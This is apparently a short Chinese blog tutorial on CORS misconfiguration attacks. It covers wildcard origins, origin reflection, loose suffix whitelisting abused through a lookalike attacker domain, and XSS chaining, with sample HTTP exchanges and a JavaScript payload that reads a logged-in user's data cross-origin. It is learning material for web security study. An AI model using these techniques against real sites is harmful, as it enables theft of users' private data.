CORS
CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨源(协议 + 域名 + 端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
CORS需要浏览器和服务器同时支持。它的通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。
因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。
http响应头
Access-Control-Allow-Origin:指定哪些域可以访问域资源。
Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。
Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。
攻击方式
1.利用通配符*
最常见的CORS配置错误之一是错误地使用诸如(*)之类的通配符,允许域请求资源。这通常设置为默认值,这意味着任何域都可以访问此站点上的资源。例如
GET /api/userinfo.php
Host: www.vuln.com
Origin: www.vuln.com
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
响应头Access-Control-Allow-Origin: *代表任何域可以访问资源。这里的 Credentials: false
,如果这种请求带上cookie(withCredentials = true),是不允许的。如果需要实现带 Cookie 的跨域请求,CORS服务端需要明确的配置允许来源的域,使用任意域的配置是不合法的。浏览器会屏蔽掉返回的结果。
2.服务器Access-Control-Allow-Origin等于请求的Origin
3.信任域通配符
如果CORS来验证“Origin header”URL,白名单域只是“*vuln.com”
GET /api/userinfo.php
Host: example.com
Connection: close
Origin: attackervuln.com
HTTP/1.0 200 OK
Access-Control-Allow-Origin: attackervuln.com
Access-Control-Allow-Credentials: true
我们创建一个attackervuln.com域就能进行攻击。
4.利用xss
如果cors做白名单限制,如果能在白名单域或其中的一个子域找到xss,就能利用。
xss payload
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.vuln.com/userifo.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
</script>
5.浏览器解析特殊字符的URL
此处参考:https://www.freebuf.com/articles/web/204023.html